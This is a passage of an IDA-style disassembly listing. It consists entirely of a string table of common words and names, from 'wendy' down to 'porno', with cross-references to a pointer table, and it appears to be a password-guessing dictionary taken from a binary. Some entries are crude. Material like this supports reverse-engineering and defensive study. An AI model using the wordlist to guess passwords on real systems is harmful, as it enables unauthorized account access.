aWendy		db 'wendy',0            ; DATA XREF: ___:00431098o
		align 10h
aWendi		db 'wendi',0            ; DATA XREF: ___:00431094o
		align 4
aWell		db 'well',0             ; DATA XREF: ___:00431090o
		align 10h
aWeenie		db 'weenie',0           ; DATA XREF: ___:0043108Co
		align 4
aWeed		db 'weed',0             ; DATA XREF: ___:00431088o
		align 10h
aWednesda	db 'wednesda',0         ; DATA XREF: ___:00431084o
		align 4
aWebpage	db 'webpage',0          ; DATA XREF: ___:00431080o
aWave		db 'wave',0             ; DATA XREF: ___:0043107Co
		align 4
aWater		db 'water',0            ; DATA XREF: ___:00431078o
		align 4
aWatchwor	db 'watchwor',0         ; DATA XREF: ___:00431074o
		align 10h
aWasp		db 'wasp',0             ; DATA XREF: ___:00431070o
		align 4
aWarren		db 'warren',0           ; DATA XREF: ___:0043106Co
		align 10h
aWarp		db 'warp',0             ; DATA XREF: ___:00431068o
		align 4
aWargames	db 'wargames',0         ; DATA XREF: ___:00431064o
		align 4
aWarfare	db 'warfare',0          ; DATA XREF: ___:00431060o
aWarez		db 'warez',0            ; DATA XREF: ___:0043105Co
		align 4
aWard		db 'ward',0             ; DATA XREF: ___:00431058o
		align 4
aWaco		db 'waco',0             ; DATA XREF: ___:00431054o
		align 4
aVodka		db 'vodka',0            ; DATA XREF: ___:00431050o
		align 4
aVisualba	db 'visualba',0         ; DATA XREF: ___:0043104Co
		align 4
aVisual		db 'visual',0           ; DATA XREF: ___:00431048o
		align 10h
aVisitor	db 'visitor',0          ; DATA XREF: ___:00431044o
aVirus		db 'virus',0            ; DATA XREF: ___:00431040o
		align 10h
aVirginia	db 'virginia',0         ; DATA XREF: ___:0043103Co
		align 4
aVirgin		db 'virgin',0           ; DATA XREF: ___:00431038o
		align 4
aVillage	db 'village',0          ; DATA XREF: ___:00431034o
aVideogam	db 'videogam',0         ; DATA XREF: ___:00431030o
		align 4
aVideo		db 'video',0            ; DATA XREF: sub_40EE72:loc_4135A2o
					; ___:0043102Co
		align 10h
aVictor		db 'victor',0           ; DATA XREF: ___:00431028o
		align 4
aVicky		db 'vicky',0            ; DATA XREF: ___:00431024o
		align 10h
aVertigo	db 'vertigo',0          ; DATA XREF: ___:00431020o
aVeronica	db 'veronica',0         ; DATA XREF: ___:0043101Co
		align 4
aVenus		db 'venus',0            ; DATA XREF: ___:00431018o
		align 4
aVasant		db 'vasant',0           ; DATA XREF: ___:00431014o
		align 4
aVampire	db 'vampire',0          ; DATA XREF: ___:00431010o
aValerie	db 'valerie',0          ; DATA XREF: ___:0043100Co
aVagina		db 'vagina',0           ; DATA XREF: ___:00431008o
		align 4
aUucp		db 'uucp',0             ; DATA XREF: ___:00431004o
		align 4
aUtility	db 'utility',0          ; DATA XREF: ___:00431000o
aUtil		db 'util',0             ; DATA XREF: ___:00430FFCo
		align 4
aUsmc		db 'usmc',0             ; DATA XREF: ___:00430FF8o
		align 4
aUsername	db 'username',0         ; DATA XREF: ___:00430FF4o
		align 4
aUsermane	db 'usermane',0         ; DATA XREF: ___:00430FF0o
		align 4
aUsenet		db 'usenet',0           ; DATA XREF: ___:00430FECo
		align 4
aUrsula		db 'ursula',0           ; DATA XREF: ___:00430FE8o
		align 4
aUrchin		db 'urchin',0           ; DATA XREF: ___:00430FE4o
		align 4
aUranus		db 'uranus',0           ; DATA XREF: ___:00430FE0o
		align 4
aUpload		db 'upload',0           ; DATA XREF: ___:00430FDCo
		align 4
aUnlock		db 'unlock',0           ; DATA XREF: ___:00430FD8o
		align 4
aUnknown_1	db 'unknown',0          ; DATA XREF: ___:00430FD4o
aUniversi	db 'universi',0         ; DATA XREF: ___:00430FD0o
		align 4
aUniverse	db 'universe',0         ; DATA XREF: ___:00430FCCo
		align 4
aUniversa	db 'universa',0         ; DATA XREF: ___:00430FC8o
		align 10h
aUniform	db 'uniform',0          ; DATA XREF: ___:00430FC4o
aUnicorn	db 'unicorn',0          ; DATA XREF: ___:00430FC0o
aUnhappy	db 'unhappy',0          ; DATA XREF: ___:00430FBCo
aUndo		db 'undo',0             ; DATA XREF: ___:00430FB8o
		align 10h
aUncle		db 'uncle',0            ; DATA XREF: ___:00430FB4o
		align 4
aUmesh		db 'umesh',0            ; DATA XREF: ___:00430FB0o
		align 10h
aUgly		db 'ugly',0             ; DATA XREF: ___:00430FACo
		align 4
aTuttle		db 'tuttle',0           ; DATA XREF: ___:00430FA8o
		align 10h
aTurn		db 'turn',0             ; DATA XREF: ___:00430FA4o
		align 4
aTuesday	db 'tuesday',0          ; DATA XREF: ___:00430FA0o
aTubas		db 'tubas',0            ; DATA XREF: ___:00430F9Co
		align 4
aTruth		db 'truth',0            ; DATA XREF: ___:00430F98o
		align 10h
aTrue		db 'true',0             ; DATA XREF: ___:00430F94o
		align 4
aTron		db 'tron',0             ; DATA XREF: ___:00430F90o
		align 10h
aTrombone	db 'trombone',0         ; DATA XREF: ___:00430F8Co
		align 4
aTrojan		db 'trojan',0           ; DATA XREF: ___:00430F88o
		align 4
aTrivial	db 'trivial',0          ; DATA XREF: ___:00430F84o
aTrisha		db 'trisha',0           ; DATA XREF: ___:00430F80o
		align 4
aTrek		db 'trek',0             ; DATA XREF: ___:00430F7Co
		align 4
aTree		db 'tree',0             ; DATA XREF: ___:00430F78o
		align 4
aTrapdoor	db 'trapdoor',0         ; DATA XREF: ___:00430F74o
		align 10h
aTrap		db 'trap',0             ; DATA XREF: ___:00430F70o
		align 4
aTransfer	db 'transfer',0         ; DATA XREF: ___:00430F6Co
		align 4
aTrails		db 'trails',0           ; DATA XREF: ___:00430F68o
		align 4
aTracy		db 'tracy',0            ; DATA XREF: ___:00430F64o
		align 4
aTracie		db 'tracie',0           ; DATA XREF: ___:00430F60o
		align 4
aTraci		db 'traci',0            ; DATA XREF: ___:00430F5Co
		align 4
aToyota		db 'toyota',0           ; DATA XREF: ___:00430F58o
		align 4
aToxic		db 'toxic',0            ; DATA XREF: ___:00430F54o
		align 4
aTortoise	db 'tortoise',0         ; DATA XREF: ___:00430F50o
		align 10h
aTopograp	db 'topograp',0         ; DATA XREF: ___:00430F4Co
		align 4
aTomato		db 'tomato',0           ; DATA XREF: ___:00430F48o
		align 4
aTokenrin	db 'tokenrin',0         ; DATA XREF: ___:00430F44o
		align 10h
aToken		db 'token',0            ; DATA XREF: ___:00430F40o
		align 4
aToggle		db 'toggle',0           ; DATA XREF: ___:00430F3Co
		align 10h
aToad		db 'toad',0             ; DATA XREF: ___:00430F38o
		align 4
aTits		db 'tits',0             ; DATA XREF: ___:00430F34o
		align 10h
aTina		db 'tina',0             ; DATA XREF: ___:00430F30o
		align 4
aTime		db 'time',0             ; DATA XREF: ___:00430F2Co
		align 10h
aTiger		db 'tiger',0            ; DATA XREF: ___:00430F28o
		align 4
aTiffany	db 'tiffany',0          ; DATA XREF: ___:00430F24o
aThursday	db 'thursday',0         ; DATA XREF: ___:00430F20o
		align 4
aThin		db 'thin',0             ; DATA XREF: ___:00430F1Co
		align 4
aTheresa	db 'theresa',0          ; DATA XREF: ___:00430F18o
aThailand	db 'thailand',0         ; DATA XREF: ___:00430F14o
		align 4
aText		db 'text',0             ; DATA XREF: ___:00430F10o
		align 10h
aTetris		db 'tetris',0           ; DATA XREF: ___:00430F0Co
		align 4
aTess		db 'tess',0             ; DATA XREF: ___:00430F08o
		align 10h
aTerminat	db 'terminat',0         ; DATA XREF: ___:00430F04o
		align 4
aTerminal	db 'terminal',0         ; DATA XREF: ___:00430F00o
		align 4
aTera		db 'tera',0             ; DATA XREF: ___:00430EFCo
		align 10h
aTennis		db 'tennis',0           ; DATA XREF: ___:00430EF8o
		align 4
aTemptati	db 'temptati',0         ; DATA XREF: ___:00430EF4o
		align 4
aTelnet		db 'telnet',0           ; DATA XREF: ___:00430EF0o
		align 4
aTelephon	db 'telephon',0         ; DATA XREF: ___:00430EECo
		align 4
aTeenage	db 'teenage',0          ; DATA XREF: ___:00430EE8o
aTeen		db 'teen',0             ; DATA XREF: ___:00430EE4o
		align 4
aTech		db 'tech',0             ; DATA XREF: ___:00430EE0o
		align 10h
aTears		db 'tears',0            ; DATA XREF: ___:00430EDCo
		align 4
aTeapot		db 'teapot',0           ; DATA XREF: ___:00430ED8o
		align 10h
aTeam		db 'team',0             ; DATA XREF: ___:00430ED4o
		align 4
aTaylor		db 'taylor',0           ; DATA XREF: ___:00430ECCo
		align 10h
aTarragon	db 'tarragon',0         ; DATA XREF: ___:00430EC8o
		align 4
aTarget		db 'target',0           ; DATA XREF: ___:00430EC4o
		align 4
aTara		db 'tara',0             ; DATA XREF: ___:00430EC0o
		align 4
aTape		db 'tape',0             ; DATA XREF: ___:00430EBCo
		align 4
aTango		db 'tango',0            ; DATA XREF: ___:00430EB8o
		align 4
aTangerin	db 'tangerin',0         ; DATA XREF: ___:00430EB4o
		align 4
aTammy		db 'tammy',0            ; DATA XREF: ___:00430EB0o
		align 10h
aTamie		db 'tamie',0            ; DATA XREF: ___:00430EACo
		align 4
aTami		db 'tami',0             ; DATA XREF: ___:00430EA8o
		align 10h
aTamara		db 'tamara',0           ; DATA XREF: ___:00430EA4o
		align 4
aTall		db 'tall',0             ; DATA XREF: ___:00430EA0o
		align 10h
aTalk		db 'talk',0             ; DATA XREF: ___:00430E9Co
		align 4
aTabasco	db 'tabasco',0          ; DATA XREF: ___:00430E98o
aSysop		db 'sysop',0            ; DATA XREF: ___:00430E94o
		align 4
aSysadmin	db 'sysadmin',0         ; DATA XREF: ___:00430E90o
		align 4
aSymmetry	db 'symmetry',0         ; DATA XREF: ___:00430E8Co
		align 10h
aSybil		db 'sybil',0            ; DATA XREF: ___:00430E88o
		align 4
aSword		db 'sword',0            ; DATA XREF: ___:00430E84o
		align 10h
aSwitch		db 'switch',0           ; DATA XREF: ___:00430E80o
		align 4
aSweat		db 'sweat',0            ; DATA XREF: ___:00430E7Co
		align 10h
aSwearer	db 'swearer',0          ; DATA XREF: ___:00430E78o
aSuzie		db 'suzie',0            ; DATA XREF: ___:00430E74o
		align 10h
aSuzanne	db 'suzanne',0          ; DATA XREF: ___:00430E70o
aSusie		db 'susie',0            ; DATA XREF: ___:00430E6Co
		align 10h
aSusanne	db 'susanne',0          ; DATA XREF: ___:00430E68o
aSusan		db 'susan',0            ; DATA XREF: ___:00430E64o
		align 10h
aSurfing	db 'surfing',0          ; DATA XREF: ___:00430E60o
aSurfer		db 'surfer',0           ; DATA XREF: ___:00430E5Co
		align 10h
aSupporte	db 'supporte',0         ; DATA XREF: ___:00430E58o
		align 4
aSupport	db 'support',0          ; DATA XREF: ___:00430E54o
aSupervis	db 'supervis',0         ; DATA XREF: ___:00430E50o
		align 10h
aSuperuse	db 'superuse',0         ; DATA XREF: ___:00430E4Co
		align 4
aSupersta	db 'supersta',0         ; DATA XREF: ___:00430E48o
		align 4
aSuperson	db 'superson',0         ; DATA XREF: ___:00430E44o
		align 4
aSuperman	db 'superman',0         ; DATA XREF: ___:00430E40o
		align 10h
aSunday		db 'sunday',0           ; DATA XREF: ___:00430E3Co
		align 4
aSummer		db 'summer',0           ; DATA XREF: ___:00430E38o
		align 10h
aSucks		db 'sucks',0            ; DATA XREF: ___:00430E34o
		align 4
aSuckmydi	db 'suckmydi',0         ; DATA XREF: ___:00430E30o
		align 4
aSuck		db 'suck',0             ; DATA XREF: ___:00430E2Co
		align 4
aSuccess	db 'success',0          ; DATA XREF: ___:00430E28o
aSubway		db 'subway',0           ; DATA XREF: ___:00430E24o
		align 4
aSubscrib	db 'subscrib',0         ; DATA XREF: ___:00430E20o
		align 4
aStuttgar	db 'stuttgar',0         ; DATA XREF: ___:00430E1Co
		align 4
aStrip		db 'strip',0            ; DATA XREF: ___:00430E14o
		align 4
aString		db 'string',0           ; DATA XREF: ___:00430E10o
		align 4
aStreetfi	db 'streetfi',0         ; DATA XREF: ___:00430E0Co
		align 10h
aStratfor	db 'stratfor',0         ; DATA XREF: ___:00430E08o
		align 4
aStrangle	db 'strangle',0         ; DATA XREF: ___:00430E04o
		align 4
aStrange	db 'strange',0          ; DATA XREF: ___:00430E00o
aStones		db 'stones',0           ; DATA XREF: ___:00430DFCo
		align 4
aStoned		db 'stoned',0           ; DATA XREF: ___:00430DF8o
		align 10h
aStoneage	db 'stoneage',0         ; DATA XREF: ___:00430DF4o
		align 4
aSteve		db 'steve',0            ; DATA XREF: ___:00430DF0o
		align 4
aStereo		db 'stereo',0           ; DATA XREF: ___:00430DECo
		align 4
aStephani	db 'stephani',0         ; DATA XREF: ___:00430DE8o
		align 4
aSteph		db 'steph',0            ; DATA XREF: ___:00430DE4o
		align 10h
aSteel		db 'steel',0            ; DATA XREF: ___:00430DE0o
		align 4
aSteal		db 'steal',0            ; DATA XREF: ___:00430DDCo
		align 10h
aSteak		db 'steak',0            ; DATA XREF: ___:00430DD8o
		align 4
aStarwars	db 'starwars',0         ; DATA XREF: ___:00430DD4o
		align 4
aStartup	db 'startup',0          ; DATA XREF: ___:00430DD0o
aStartrek	db 'startrek',0         ; DATA XREF: ___:00430DCCo
		align 4
aStart		db 'start',0            ; DATA XREF: sub_40EE72+2069o
					; ___:00430DC8o
		align 10h
aStarship	db 'starship',0         ; DATA XREF: ___:00430DC4o
		align 4
aStar		db 'star',0             ; DATA XREF: ___:00430DC0o
		align 4
aStacy		db 'stacy',0            ; DATA XREF: ___:00430DBCo
		align 4
aStacie		db 'stacie',0           ; DATA XREF: ___:00430DB8o
		align 4
aStaci		db 'staci',0            ; DATA XREF: ___:00430DB4o
		align 4
aStacey		db 'stacey',0           ; DATA XREF: ___:00430DB0o
		align 4
aSr71		db 'sr71',0             ; DATA XREF: ___:00430DACo
		align 4
aSquires	db 'squires',0          ; DATA XREF: ___:00430DA8o
aSpunk		db 'spunk',0            ; DATA XREF: ___:00430DA4o
		align 4
aSpringer	db 'springer',0         ; DATA XREF: ___:00430DA0o
		align 4
aSpring		db 'spring',0           ; DATA XREF: ___:00430D9Co
		align 10h
aSpred		db 'spred',0            ; DATA XREF: ___:00430D98o
		align 4
aSpit		db 'spit',0             ; DATA XREF: ___:00430D94o
		align 10h
aSpiderma	db 'spiderma',0         ; DATA XREF: ___:00430D90o
		align 4
aSpider		db 'spider',0           ; DATA XREF: ___:00430D8Co
		align 4
aSpice		db 'spice',0            ; DATA XREF: ___:00430D88o
		align 4
aSpell		db 'spell',0            ; DATA XREF: ___:00430D84o
		align 4
aSpear		db 'spear',0            ; DATA XREF: ___:00430D80o
		align 4
aSparrows	db 'sparrows',0         ; DATA XREF: ___:00430D7Co
		align 4
aSpaceshi	db 'spaceshi',0         ; DATA XREF: ___:00430D78o
		align 4
aSouth		db 'south',0            ; DATA XREF: ___:00430D74o
		align 4
aSource		db 'source',0           ; DATA XREF: ___:00430D70o
		align 4
aSossina	db 'sossina',0          ; DATA XREF: ___:00430D6Co
aSonya		db 'sonya',0            ; DATA XREF: ___:00430D68o
		align 4
aSonic		db 'sonic',0            ; DATA XREF: ___:00430D64o
		align 4
aSonia		db 'sonia',0            ; DATA XREF: ___:00430D60o
		align 4
aSondra		db 'sondra',0           ; DATA XREF: ___:00430D5Co
		align 4
aSomebody	db 'somebody',0         ; DATA XREF: ___:00430D58o
		align 4
aSoftware	db 'software',0         ; DATA XREF: ___:00430D54o
		align 4
aSoft		db 'soft',0             ; DATA XREF: ___:00430D50o
		align 4
aSodomy		db 'sodomy',0           ; DATA XREF: ___:00430D4Co
		align 4
aSocrates	db 'socrates',0         ; DATA XREF: ___:00430D48o
		align 10h
aSocial		db 'social',0           ; DATA XREF: ___:00430D44o
		align 4
aSoap		db 'soap',0             ; DATA XREF: ___:00430D40o
		align 10h
aSnoopy		db 'snoopy',0           ; DATA XREF: ___:00430D3Co
		align 4
aSnatch		db 'snatch',0           ; DATA XREF: ___:00430D38o
		align 10h
aSnake		db 'snake',0            ; DATA XREF: ___:00430D34o
		align 4
aSnafu		db 'snafu',0            ; DATA XREF: ___:00430D30o
		align 10h
aSnach		db 'snach',0            ; DATA XREF: ___:00430D2Co
		align 4
aSmut		db 'smut',0             ; DATA XREF: ___:00430D28o
		align 10h
aSmtp		db 'smtp',0             ; DATA XREF: ___:00430D24o
		align 4
aSmother	db 'smother',0          ; DATA XREF: ___:00430D20o
aSmooch		db 'smooch',0           ; DATA XREF: ___:00430D1Co
		align 4
aSmiles		db 'smiles',0           ; DATA XREF: ___:00430D18o
		align 10h
aSmile		db 'smile',0            ; DATA XREF: ___:00430D14o
		align 4
aSmart		db 'smart',0            ; DATA XREF: ___:00430D10o
		align 10h
aSmall		db 'small',0            ; DATA XREF: ___:00430D0Co
		align 4
aSlut		db 'slut',0             ; DATA XREF: ___:00430D08o
		align 10h
aSlow		db 'slow',0             ; DATA XREF: ___:00430D04o
		align 4
aSliders	db 'sliders',0          ; DATA XREF: ___:00430D00o
aSlick		db 'slick',0            ; DATA XREF: ___:00430CFCo
		align 4
aSlave		db 'slave',0            ; DATA XREF: ___:00430CF8o
		align 10h
aSkull		db 'skull',0            ; DATA XREF: ___:00430CF4o
		align 4
aSite		db 'site',0             ; DATA XREF: ___:00430CF0o
		align 10h
aSingle		db 'single',0           ; DATA XREF: ___:00430CECo
		align 4
aSinger		db 'singer',0           ; DATA XREF: ___:00430CE8o
		align 10h
aSimulati	db 'simulati',0         ; DATA XREF: ___:00430CE4o
		align 4
aSimpsons	db 'simpsons',0         ; DATA XREF: ___:00430CE0o
		align 4
aSimple		db 'simple',0           ; DATA XREF: ___:00430CDCo
		align 10h
aSimon		db 'simon',0            ; DATA XREF: ___:00430CD8o
		align 4
aSimcity	db 'simcity',0          ; DATA XREF: ___:00430CD4o
aSilver		db 'silver',0           ; DATA XREF: ___:00430CD0o
		align 4
aSignatur	db 'signatur',0         ; DATA XREF: ___:00430CCCo
		align 4
aSierra		db 'sierra',0           ; DATA XREF: ___:00430CC8o
		align 4
aSick		db 'sick',0             ; DATA XREF: ___:00430CC4o
		align 4
aShuttle	db 'shuttle',0          ; DATA XREF: ___:00430CC0o
aShort		db 'short',0            ; DATA XREF: ___:00430CBCo
		align 4
aShivers	db 'shivers',0          ; DATA XREF: ___:00430CB8o
aShiva		db 'shiva',0            ; DATA XREF: ___:00430CB4o
		align 4
aShitpot	db 'shitpot',0          ; DATA XREF: ___:00430CB0o
aShit		db 'shit',0             ; DATA XREF: ___:00430CACo
		align 4
aShirley	db 'shirley',0          ; DATA XREF: ___:00430CA8o
aShift		db 'shift',0            ; DATA XREF: ___:00430CA4o
		align 4
aSherri		db 'sherri',0           ; DATA XREF: ___:00430CA0o
		align 4
aShell		db 'shell',0            ; DATA XREF: ___:00430C9Co
		align 4
aSheldon	db 'sheldon',0          ; DATA XREF: ___:00430C98o
aSheffiel	db 'sheffiel',0         ; DATA XREF: ___:00430C94o
		align 4
aSharon		db 'sharon',0           ; DATA XREF: ___:00430C90o
		align 10h
aSharks		db 'sharks',0           ; DATA XREF: ___:00430C8Co
		align 4
aShark		db 'shark',0            ; DATA XREF: ___:00430C88o
		align 10h
aSharc		db 'sharc',0            ; DATA XREF: ___:00430C84o
		align 4
aShannon	db 'shannon',0          ; DATA XREF: ___:00430C80o
aSexy		db 'sexy',0             ; DATA XREF: ___:00430C7Co
		align 4
aSesame		db 'sesame',0           ; DATA XREF: ___:00430C78o
		align 10h
aService	db 'service',0          ; DATA XREF: ___:00430C74o
aSerial_0	db 'serial',0           ; DATA XREF: ___:00430C70o
		align 10h
aSerenity	db 'serenity',0         ; DATA XREF: ___:00430C6Co
		align 4
aSentry		db 'sentry',0           ; DATA XREF: ___:00430C68o
		align 4
aSentinel	db 'sentinel',0         ; DATA XREF: ___:00430C64o
		align 10h
aSensor		db 'sensor',0           ; DATA XREF: ___:00430C60o
		align 4
aSega		db 'sega',0             ; DATA XREF: ___:00430C5Co
		align 10h
aSeed		db 'seed',0             ; DATA XREF: ___:00430C58o
		align 4
aSecurity	db 'security',0         ; DATA XREF: ___:00430C54o
		align 4
aSearch		db 'search',0           ; DATA XREF: ___:00430C50o
		align 4
aScout		db 'scout',0            ; DATA XREF: ___:00430C4Co
		align 4
aScotty		db 'scotty',0           ; DATA XREF: ___:00430C48o
		align 4
aScott		db 'scott',0            ; DATA XREF: ___:00430C44o
		align 4
aScorpion	db 'scorpion',0         ; DATA XREF: ___:00430C40o
		align 10h
aScifi		db 'scifi',0            ; DATA XREF: ___:00430C3Co
		align 4
aSchoolsucks	db 'schoolsucks',0      ; DATA XREF: ___:00430C38o
aSchool		db 'school',0           ; DATA XREF: ___:00430C34o
		align 4
aScheme		db 'scheme',0           ; DATA XREF: ___:00430C30o
		align 4
aScamper	db 'scamper',0          ; DATA XREF: ___:00430C2Co
aSaxon		db 'saxon',0            ; DATA XREF: ___:00430C28o
		align 4
aSaturn		db 'saturn',0           ; DATA XREF: ___:00430C24o
		align 4
aSaturday	db 'saturday',0         ; DATA XREF: ___:00430C20o
		align 4
aSarah		db 'sarah',0            ; DATA XREF: ___:00430C1Co
		align 10h
aSara		db 'sara',0             ; DATA XREF: ___:00430C18o
		align 4
aSandy		db 'sandy',0            ; DATA XREF: ___:00430C14o
		align 10h
aSandra		db 'sandra',0           ; DATA XREF: ___:00430C10o
		align 4
aSample		db 'sample',0           ; DATA XREF: ___:00430C0Co
		align 10h
aSamantha	db 'samantha',0         ; DATA XREF: ___:00430C08o
		align 4
aSalt		db 'salt',0             ; DATA XREF: ___:00430C04o
		align 4
aSale		db 'sale',0             ; DATA XREF: ___:00430C00o
		align 4
aSalami		db 'salami',0           ; DATA XREF: ___:00430BFCo
		align 4
aSafe		db 'safe',0             ; DATA XREF: ___:00430BF8o
		align 4
aRuth		db 'ruth',0             ; DATA XREF: ___:00430BF4o
		align 4
aRush		db 'rush',0             ; DATA XREF: ___:00430BF0o
		align 4
aRunning_0	db 'running',0          ; DATA XREF: ___:00430BECo
aRules		db 'rules',0            ; DATA XREF: ___:00430BE8o
		align 4
aRude		db 'rude',0             ; DATA XREF: ___:00430BE4o
		align 4
aRuby		db 'ruby',0             ; DATA XREF: ___:00430BE0o
		align 4
aRuben		db 'ruben',0            ; DATA XREF: ___:00430BDCo
		align 4
aRubber		db 'rubber',0           ; DATA XREF: ___:00430BD8o
		align 4
aRough		db 'rough',0            ; DATA XREF: ___:00430BD4o
		align 4
aRoses		db 'roses',0            ; DATA XREF: ___:00430BD0o
		align 4
aRosemary	db 'rosemary',0         ; DATA XREF: ___:00430BCCo
		align 4
aRosebud	db 'rosebud',0          ; DATA XREF: ___:00430BC8o
aRose		db 'rose',0             ; DATA XREF: ___:00430BC4o
		align 4
aRonald		db 'ronald',0           ; DATA XREF: ___:00430BC0o
		align 10h
aRomulan	db 'romulan',0          ; DATA XREF: ___:00430BBCo
aRomeo		db 'romeo',0            ; DATA XREF: ___:00430BB8o
		align 10h
aRomano		db 'romano',0           ; DATA XREF: ___:00430BB4o
		align 4
aRolex		db 'rolex',0            ; DATA XREF: ___:00430BB0o
		align 10h
aRodent		db 'rodent',0           ; DATA XREF: ___:00430BACo
		align 4
aRockyhor	db 'rockyhor',0         ; DATA XREF: ___:00430BA8o
		align 4
aRocky		db 'rocky',0            ; DATA XREF: ___:00430BA4o
		align 4
aRock		db 'rock',0             ; DATA XREF: ___:00430BA0o
		align 4
aRocheste	db 'rocheste',0         ; DATA XREF: ___:00430B9Co
		align 10h
aRochelle	db 'rochelle',0         ; DATA XREF: ___:00430B98o
		align 4
aRobyn		db 'robyn',0            ; DATA XREF: ___:00430B94o
		align 4
aRobotics	db 'robotics',0         ; DATA XREF: ___:00430B90o
		align 10h
aRobot		db 'robot',0            ; DATA XREF: ___:00430B8Co
		align 4
aRobin		db 'robin',0            ; DATA XREF: ___:00430B88o
		align 10h
aRobert		db 'robert',0           ; DATA XREF: ___:00430B84o
		align 4
aRoach		db 'roach',0            ; DATA XREF: ___:00430B80o
		align 10h
aRisc		db 'risc',0             ; DATA XREF: ___:00430B7Co
		align 4
aRipple		db 'ripple',0           ; DATA XREF: ___:00430B78o
		align 10h
aRiot		db 'riot',0             ; DATA XREF: ___:00430B74o
		align 4
aRing		db 'ring',0             ; DATA XREF: ___:00430B70o
		align 10h
aRightwin	db 'rightwin',0         ; DATA XREF: ___:00430B6Co
		align 4
aRight		db 'right',0            ; DATA XREF: ___:00430B68o
		align 4
aRiffraff	db 'riffraff',0         ; DATA XREF: ___:00430B64o
		align 10h
aRick		db 'rick',0             ; DATA XREF: ___:00430B60o
		align 4
aRich		db 'rich',0             ; DATA XREF: ___:00430B5Co
		align 10h
aRhino		db 'rhino',0            ; DATA XREF: ___:00430B58o
		align 4
aReveal		db 'reveal',0           ; DATA XREF: ___:00430B54o
		align 10h
aResistan	db 'resistan',0         ; DATA XREF: ___:00430B50o
		align 4
aRepublic	db 'republic',0         ; DATA XREF: ___:00430B4Co
		align 4
aReport		db 'report',0           ; DATA XREF: ___:00430B48o
		align 10h
aRent		db 'rent',0             ; DATA XREF: ___:00430B44o
		align 4
aReno		db 'reno',0             ; DATA XREF: ___:00430B40o
		align 10h
aRenee		db 'renee',0            ; DATA XREF: ___:00430B3Co
		align 4
aRemote		db 'remote',0           ; DATA XREF: ___:00430B38o
		align 10h
aRelease	db 'release',0          ; DATA XREF: ___:00430B34o
aRegional	db 'regional',0         ; DATA XREF: ___:00430B30o
		align 4
aReferenc	db 'referenc',0         ; DATA XREF: ___:00430B2Co
		align 10h
aRedhead	db 'redhead',0          ; DATA XREF: ___:00430B28o
aReddawn	db 'reddawn',0          ; DATA XREF: ___:00430B24o
aRecord		db 'record',0           ; DATA XREF: ___:00430B20o
		align 4
aRebel		db 'rebel',0            ; DATA XREF: ___:00430B1Co
		align 10h
aRebecca	db 'rebecca',0          ; DATA XREF: ___:00430B18o
aRebal		db 'rebal',0            ; DATA XREF: ___:00430B14o
		align 10h
aReaper		db 'reaper',0           ; DATA XREF: ___:00430B10o
		align 4
aReam		db 'ream',0             ; DATA XREF: ___:00430B0Co
		align 10h
aReally		db 'really',0           ; DATA XREF: ___:00430B08o
		align 4
aReality	db 'reality',0          ; DATA XREF: ___:00430B04o
aReagan		db 'reagan',0           ; DATA XREF: ___:00430B00o
		align 4
aRazor		db 'razor',0            ; DATA XREF: ___:00430AFCo
		align 10h
aRascal		db 'rascal',0           ; DATA XREF: ___:00430AF8o
		align 4
aRape		db 'rape',0             ; DATA XREF: ___:00430AF4o
		align 10h
aRaleigh	db 'raleigh',0          ; DATA XREF: ___:00430AECo
aRaindrop	db 'raindrop',0         ; DATA XREF: ___:00430AE8o
		align 4
aRainbow	db 'rainbow',0          ; DATA XREF: ___:00430AE4o
aRain		db 'rain',0             ; DATA XREF: ___:00430AE0o
		align 4
aRaid		db 'raid',0             ; DATA XREF: ___:00430ADCo
		align 4
aRachmani	db 'rachmani',0         ; DATA XREF: ___:00430AD8o
		align 4
aRachelle	db 'rachelle',0         ; DATA XREF: ___:00430AD4o
		align 4
aRachel		db 'rachel',0           ; DATA XREF: ___:00430AD0o
		align 4
aRabbit		db 'rabbit',0           ; DATA XREF: ___:00430ACCo
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: ___:00430AC8o
		align 4
aQwert		db 'qwert',0            ; DATA XREF: ___:00430AC4o
		align 4
aQuebec		db 'quebec',0           ; DATA XREF: ___:00430AC0o
		align 4
aPussy		db 'pussy',0            ; DATA XREF: ___:00430ABCo
		align 4
aPuppet		db 'puppet',0           ; DATA XREF: ___:00430AB8o
		align 4
aPunk		db 'punk',0             ; DATA XREF: ___:00430AB4o
		align 4
aPunisher	db 'punisher',0         ; DATA XREF: ___:00430AB0o
		align 10h
aPuneet		db 'puneet',0           ; DATA XREF: ___:00430AACo
		align 4
aPumpkin	db 'pumpkin',0          ; DATA XREF: ___:00430AA8o
aPuke		db 'puke',0             ; DATA XREF: ___:00430AA4o
		align 4
aPuck		db 'puck',0             ; DATA XREF: ___:00430AA0o
		align 10h
aPublic		db 'public',0           ; DATA XREF: ___:00430A9Co
		align 4
aPsychopa	db 'psychopa',0         ; DATA XREF: ___:00430A98o
		align 4
aPsycho		db 'psycho',0           ; DATA XREF: ___:00430A94o
		align 4
aProtozoa	db 'protozoa',0         ; DATA XREF: ___:00430A90o
		align 4
aProtect	db 'protect',0          ; DATA XREF: ___:00430A8Co
aPrompt		db 'prompt',0           ; DATA XREF: ___:00430A88o
		align 4
aProgram	db 'program',0          ; DATA XREF: ___:00430A84o
aProfile	db 'profile',0          ; DATA XREF: ___:00430A80o
aProfesso	db 'professo',0         ; DATA XREF: ___:00430A7Co
		align 4
aProcesso	db 'processo',0         ; DATA XREF: ___:00430A78o
		align 10h
aProceed	db 'proceed',0          ; DATA XREF: ___:00430A74o
aPrivs		db 'privs',0            ; DATA XREF: ___:00430A70o
		align 10h
aPrivate	db 'private',0          ; DATA XREF: ___:00430A6Co
aPriv		db 'priv',0             ; DATA XREF: ___:00430A68o
		align 10h
aPrinter	db 'printer',0          ; DATA XREF: ___:00430A64o
aPrinceto	db 'princeto',0         ; DATA XREF: ___:00430A60o
		align 4
aPrince		db 'prince',0           ; DATA XREF: ___:00430A5Co
		align 4
aPresto		db 'presto',0           ; DATA XREF: ___:00430A58o
		align 4
aPrelude	db 'prelude',0          ; DATA XREF: ___:00430A54o
aPrecious	db 'precious',0         ; DATA XREF: ___:00430A50o
		align 4
aPraise		db 'praise',0           ; DATA XREF: ___:00430A4Co
		align 10h
aPower		db 'power',0            ; DATA XREF: ___:00430A48o
		align 4
aPoster		db 'poster',0           ; DATA XREF: ___:00430A44o
		align 10h
aPost		db 'post',0             ; DATA XREF: ___:00430A40o
		align 4
aPorsche	db 'porsche',0          ; DATA XREF: ___:00430A3Co
aPorno		db 'porno',0            ; DATA XREF: ___:00430A38o
		align 4
